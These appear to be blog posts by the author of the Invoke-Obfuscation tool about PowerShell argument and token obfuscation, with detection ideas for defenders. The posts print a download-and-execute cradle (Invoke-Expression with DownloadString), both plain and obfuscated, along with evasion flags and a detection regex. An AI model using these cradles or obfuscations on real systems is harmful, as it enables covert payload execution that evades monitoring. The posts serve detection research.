PowerShell Execution Argument Obfuscation (& How It Can Make Detection Easier!)

When I started researching PowerShell obfuscation and evasion techniques 1.5 years ago I became frustrated when I found out that many A/V vendors and other detection frameworks and services were writing signatures for specific PowerShell attack frameworks based solely off of PowerShell execution arguments like:

  • -nop -exec bypass -win Hidden -noni -enc
  • -ep bypass -noni -w hidden -enc

Fun Fact: In these examples setting -ExecutionPolicy/-ep is redundant since -EncodedCommand/-enc automatically bypasses the execution policy, which is NOT a security boundary!

Some offensive PowerShell frameworks (which won't be explicitly named here) have even kindly left some nice features to write basic signatures off of, like the extra whitespace between -nop and -win in:

-nop  -win hidden -noni -enc

However, we as defenders should not become complacent and grow satisfied with only catching attackers that do not modify source code before running the tools they download from Github.

The reason is that good attackers do not remain complacent. If you look at the Github history for Unicorn, an awesome tool from Dave Kennedy (@HackingDave), then you will see that he has changed the syntax of the tool's execution arguments several times as defenders have updated their signatures. He's even left some nice alternate evasion syntaxes in comments for those who actually peruse source code before running tools written by Mr. ReL1K himself: https://github.com/trustedsec/unicorn/blob/master/unicorn.py#L493-L495

To help break this complacency I focused on this execution argument obfuscation when I built the LAUNCHER component of Invoke-Obfuscation. The primary focus was initially on argument substring and shorthand syntax, randomized case, argument ordering and randomized whitespace between the arguments. So instead of always producing something like

-nop -win hidden -noni

then it may produce something more like

-wINd   hIdDEn   -nOniNT -NOpr
-noProf  -wI  hiDdeN  -noNIntEr

These execution argument substrings (like -NoP, -NoPr, -NoPro, -NoProf, -NoProfi, and -NoProfil) are all valid ways of specifying an execution argument (like -NoProfile) because of how PowerShell handles parameter binding. And this parameter binding functionality extends beyond execution arguments. For example, the default Invoke-Mimikatz parameters of -DumpCreds and -DumpCerts could actually be written instead as -DumpCr, -DumpCre, -DumpCred or -DumpCe, -DumpCer, -DumpCert. So we as defenders should be diligent to base our detection logic on the lowest common denominator of what we currently know to be syntactically possible.

In October, 2016, I discovered by accident that the -WindowStyle execution argument would accept numerical representation of its flag values: Normal (0), Hidden (1), Minimized (2) and Maximized (3). After this realization I updated my detection rules and then added this alternate syntax to the next release of Invoke-Obfuscation (though this technique does not seem to extend to -ExecutionPolicy values of Bypass, Unrestricted, etc.).

Then last week I read this great blog post called Pulling Back the Curtains on EncodedCommand PowerShell Attacks by the Unit42 threat research team (@Unit42_Intel) at Palo Alto Networks. If you haven't read this article article then it is well worth a read, retweet and then one more read. In addition, the Unit42 team published all of the data from their research including the full encoded commands, decoded version, extracted execution arguments, etc. Kudos to the Unit42 team for making this research and data available to the community!

Now when I read this blog post something caught my eye in one of their tables showing a breakdown of the -WindowStyle Hidden syntax across all of the samples in their research (highlighting is mine):

This table was the first time that I had seen the argument of an execution argument using substring obfuscation. After testing and validating that this syntax works, I then updated my detection rules and subsequently updated Invoke-Obfuscation to randomly select any of WindowStyle's arguments' substrings (like the numerical representation, this technique still does not extend to ExecutionPolicy's arguments). So now in Invoke-Obfuscation if you select the WindowStyle Hidden execution argument/value pair then you will get randomized substrings for both WindowStyle as well as Hidden (H, Hi, Hid, Hidd, Hidde, Hidden, 1).

BLUE TEAM: HOW POWERSHELL EXECUTION ARGUMENT OBFUSCATION CAN MAKE DETECTION EASIER

Until this past week I focused on keeping track of all known execution argument syntaxes so that I could trigger on particular combinations of execution arguments. However, I realized that there was a simpler (and arguably more effective) detection use case to be made for these obfuscated execution argument substrings: these execution argument substrings are almost never used legitimately and as such they can be a great indicator of potential obfuscation.

So for example, -NoProfile and its shortest form of -NoP are most commonly used in PowerShell commands (for both legitimate and malicious samples). However, just looking for the presence of any of the more obscure, but still valid, substrings in between (-NoPr, -NoPro, -NoProf, -NoProfi and -NoProfil) would be peculiar enough to warrant closer inspection. This definitely does not mean that we should not continuing monitoring for the more common -NoP and -NoProfile, but it would seem that we could place more emphasis on these in-between substrings for identifying likely obfuscation attempts.

We can do the same for certain execution arguments' arguments, like WindowStyle's Hidden (H, Hi, Hid, Hidd, Hidde and 1). And in the case of arguments that take arguments (like WindowStyle and ExecutionPolicy) we can take the path of humility and accept that there are probably smarter and more cunning people that have potentially found more ways to write Hidden and Bypass (or even Unrestricted). With this approach we can look for the absence of all of the syntaxes that we are familiar with. So if we see WindowStyle (with any of its substring syntaxes) and do NOT see any of the normal or obfuscated values that we are currenty aware of then we might want to alert and look more closely at the syntax being used. A rough example of this for WindowStyle could be a case insensitive regex like:

\s+-(W|Wi|Win|Wind|Windo|Window|WindowS|WindowSt|WindowSty|WindowStyl|WindowStyle)\s+[^HMN0123]

If you have experimented with some of the newer LAUNCHER options (Hint: WMIC) from Invoke-Obfuscation then you may see that there are ways to evade the regex above, particularly when you can use characters allowed in a parent process launching powershell.exe to pollute powershell.exe's command line arguments. But the purpose of this sample regex is not to catch everything, but rather to identify a subset of likely obfuscation.

Defense in depth is still the name of the game here. After all, I wouldn't want any defender to take a detection idea (even from me!) and become complacent with it :D Thus the perpetual game of refining, testing and sharing creative detection techniques continues.

Happy hunting!

Invoke-Obfuscation v1.1 (coming Sunday, Oct 9)

Although an official PowerShell obfuscation blog post is still underway, I have some incremental updates to Invoke-Obfuscation that I want to share with you all before releasing them in Invoke-Obfuscation v1.1 on Sunday, October 9, 2016, at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/). Just like the focus of the Invoke-Obfuscation framework as a whole, these updates are not meant to be cruel tricks for the Blue Team to deal with. Rather, the new techniques in this update are designed to show that simply removing special characters from PowerShell Scriptblock logs before searching for IOCs (Indicators of Compromise) in the resultant Scriptblock log is not a silver bullet in detecting PowerShell obfuscation.

Let's look at two brief examples that illustrate this point. The base command for this test is using the most common remote download cradle syntax:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')

The following command was generated with Invoke-Obfuscation v1.0 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level:

&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

So if we are dealing with the above command (either in command line argument logs or better yet in Scriptblock logs) then removing all special characters and whitespace will, for example, change the beginning cmdlet from  &( "I"  + "nv" +"OK"  +"e-EXPreSsIon" ) to InvOKe-EXPreSsIon. Or if tick obfuscation was used then this transformation would convert Ne`W-`ObJEc`T to NeW-ObJEcT. This is a pretty simple way of revealing the underlying cmdlet values to which we can then apply our IOCs.

Below is a basic code snippet that accomplishes this task:

$ScriptblockContents = @"
&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
"@
$ScriptblockContents.Replace('"','').Replace("'",'').Replace('+','').Replace(' ','').Replace('`','').Replace(',','')

The resultant de-obfuscated command from above is now:

&(InvOKe-EXPreSsIon)(&(new-OBJEct)(Net.WebClient)).(dOWnlOaDSTrinG).Invoke((http://bit.ly/L3g1t))


However, there is a sneakier way to bypass this find-and-replace detection approach and I've added it to Invoke-Obfuscation v1.1 to help us Blue Teamers deepen our detection approach from what may currently be working for v1.0. This new technique is Reordering obfuscation applied at the token level.

New "Reorder" option available in Invoke-Obfuscation v1.1.

New "Reorder" option available in Invoke-Obfuscation v1.1.

This reordering obfuscation option will be available for Command, (Command) Argument, String and Member tokens. (It will also be available for one more NEW token type that I'll be releasing in 1.5 weeks -- more details in the next blog post!)

The reordering operator is the -f format operator and it works similarly to v1.0's STRING/REORDER function except it is applied to individual tokens instead of the entire PowerShell command or script.

The following command was generated with Invoke-Obfuscation v1.1 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level (which is now reordering for most token types):

&("{0}{2}{3}{1}{4}"-f 'In','e','voke-Exp','r','ssion') (&( "{2}{0}{1}"-f'w-Obje','ct','Ne') ( "{0}{1}{2}{3}"-f 'N','et.','Web','Client') ).("{0}{3}{1}{2}{4}"-f'Downl','ad','S','o','tring' ).Invoke(( 'http' + ':'+'/'+'/bi' +'t.ly'+'/L3g1t' ))
This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

The resultant de-obfuscated command (using same find-and-replace method above) from above is now:

&({0}{2}{3}{1}{4}-fInevoke-Exprssion)(&({2}{0}{1}-fw-ObjectNe)({0}{1}{2}{3}-fNet.WebClient)).({0}{3}{1}{2}{4}-fDownladSotring).Invoke((http://bit.ly/L3g1t))

So the "de-obuscated" Scriptblock contents only give us Inevoke-Exprssion and w-ObjectNe to use for trying to identify Invoke-Expression and New-Object. The order of these -f format operator reordering operations are randomized, so sometimes you will still find the full properly-ordered string (like Net.WebClient), but the point is that you can no longer rely on this being the case.

Three detection approaches that we can take here:

  1. In Scriptblock logs (EID 4104) look for usage of the -f format operator, though there are definitely other means to accomplish this same obfuscation outcome without the -f format operator so this is also not a silver bullet detection approach. False Positives to watch out for are -f for -File and -f for -ForegroundColor. Additionally, keep in mind that the -f format operator does NOT require whitespace on either side, so a bit of regex wizardry will go a long way when monitoring for this operator.
  2. In Module logs (EID 4103) look for the CommandInvocation and ParameterBinding of Invoke-Expression and New-Object as well as the arguments that each cmdlet is passed. This shows the plaintext values regardless of if it is reordered or otherwise obfuscated in Scriptblock logs. However, it becomes much more difficult if your indicators rely on the combination of multiple cmdlets (like IEX/Invoke-Expression AND New-Object) since this information is now spread across multiple events in Module logs.
  3. One more interesting observation is that the Scriptblock log events for both of the above samples have a Level value of Warning instead of the regular value of Informational -- perhaps something to begin monitoring. However, there are still obfuscation techniques that generate Information level logs instead of Warning level logs. Once again we are reminded to not place all of our defensive eggs into a single detection basket.

So at the end of the day, PowerShell logging give us Warning level Scriptblock log events and the obfuscated cmdlets are still found in the Module logs. All of the answers are present but are not located in any single event. But just imagine how much more difficult detecting this would be without the fantastic logging that the PowerShell team has given us -- Thanks PS Team!!


tl;dr

This Sunday, October 9, 2016, I will be releasing these token reordering obfuscation techniques in Invoke-Obfuscation v1.1 at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/) as a component of my presentation on PowerShell obfuscation techniques. During this presentation I will focus on additional artifacts (outside of PowerShell logs and command line arguments) to aid the Blue Team in detecting these obfuscation techniques.

The latest version of Invoke-Obfuscation can always be downloaded from my Github repository: https://github.com/danielbohannon/Invoke-Obfuscation

Blue Team: Please Upgrade To PS 5.0
Red Team:  Please Obfuscate Responsibly :)

Invoke-Obfuscation :: Public Release

After 100's of hours of researching PowerShell obfuscation techniques this past year and more than 300 hours of developing over the past two months, I am excited to present the first phase of this research at DerbyCon 6.0 on Sunday, September 25, 2016. During this presentation I am publicly releasing Invoke-Obfuscation, an obfuscator for PowerShell commands and scripts that is designed to randomized nearly every aspect of obfuscation that I have discovered throughout my research.

This tool can be downloaded from my Github repository: https://github.com/danielbohannon/Invoke-Obfuscation

In the coming months I plan on posting a more formal blog outlining this first phase of research that I am presenting at DerbyCon.

UPDATE (September 26, 2016): The recording of the presentation from DerbyCon 6.0 is now available on YouTube: https://www.youtube.com/watch?v=P1lkflnWb0I
Slides from the DerbyCon 6.0 presentation are also available at: http://www.slideshare.net/DanielBohannon2/invokeobfuscation-derbycon-2016